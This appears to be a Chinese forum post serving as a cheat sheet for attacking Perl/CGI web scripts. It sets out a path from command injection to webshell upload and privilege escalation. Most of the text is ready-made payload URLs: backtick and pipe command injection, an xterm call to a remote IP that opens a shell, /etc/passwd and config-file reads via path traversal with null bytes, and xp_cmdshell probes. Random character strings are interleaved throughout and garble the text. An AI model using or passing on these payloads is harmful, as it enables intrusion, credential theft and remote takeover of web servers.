总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 ( d' Y5 H* C% Y1 e; r
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
+ m" K& N' M( h$ \6 a6 V0 t感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
. @6 }& H# g& n( D" w2 H2 P; X4 r$ k, I注“ % S2 [2 B1 V! F
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 , o# s. h4 R, h& ?3 b, V
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET : G: l$ J6 J0 u% }) ]! m
6 _' N: w3 l! q9 q0 _http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 # u6 z# i+ v& t; R% m- n, T
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
" U3 d( q5 ?% p5 ]http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
* Y1 E9 N9 B V. P/ Whttp://target.com/cgi-bin/home/news/sub.pl?`id`
2 S, a6 P9 {% ?/ qhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` " c& g D3 w! L2 k3 _7 l
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 1 u$ V. ]. q1 X$ j
2 k4 c4 z( Q1 K
http://target.com/test.pl;ls|
: D- ]) F: m! L Vhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
8 C3 K3 O, h3 g$ bhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
! H& ~ J# r, B: Nhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
& Q. O% j( x. y+ {0 ?比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
8 ^, U9 \. J1 q+ N& zhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection + L- D8 m# l ~) D k8 @
0 W1 ^' @# Z7 `: Q( n
http://target.com/test.pl?&........ /../../etc/passwd
( `; X' z3 j* U }8 U; E9 G/ ?/ B% q5 t1 S$ ]5 b+ E
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ 3 I U# A! O/ q$ B2 S/ u
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
2 l+ n! G) N p8 Khttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 & g6 M: s6 n' Q( R, v8 v3 |
5 V% j4 ?2 {9 H3 c) p9 i
http://www.target.org/show.php?f ... /include/config.php 查看php代码
. y! o) R- R2 m3 P) ehttp://www.target.org/show.php?f ... ng/admin/global.php
7 D/ X0 w2 _7 L9 B
; n( p# g( ~$ J X; R4 O* e" Yemm和ps的一句话
* j* ^0 I3 L; _: F
3 K/ }, D4 w+ q9 ohttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
. o- c3 J7 Q. r- G% o
9 ~9 _4 }: K2 L9 ]# L$ m/ g" j>bbb%20| 1 ?. ~' c6 h( X; c. K
1 c. `* e5 \" g
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 5 Q4 B( q3 x1 z; m
( i2 W. b" T$ u' x! _http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
/ X7 U' a3 y4 G$ rhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
" Z' Z7 e1 T4 B$ F2 L, e: \3 f- ^' g3 h7 Q
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
4 Y' v3 o* H+ s# H2 G1 c+ whttp://target.com/index.html#cmd.exe 4 P0 z8 M/ ~0 Q. `/ S7 z
http://target.com/index.html?dummyparam=xp_cmdshell
& ]5 ~- M, I- F0 c. @lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd ) N3 |1 {$ U$ j" j8 q$ o2 o
|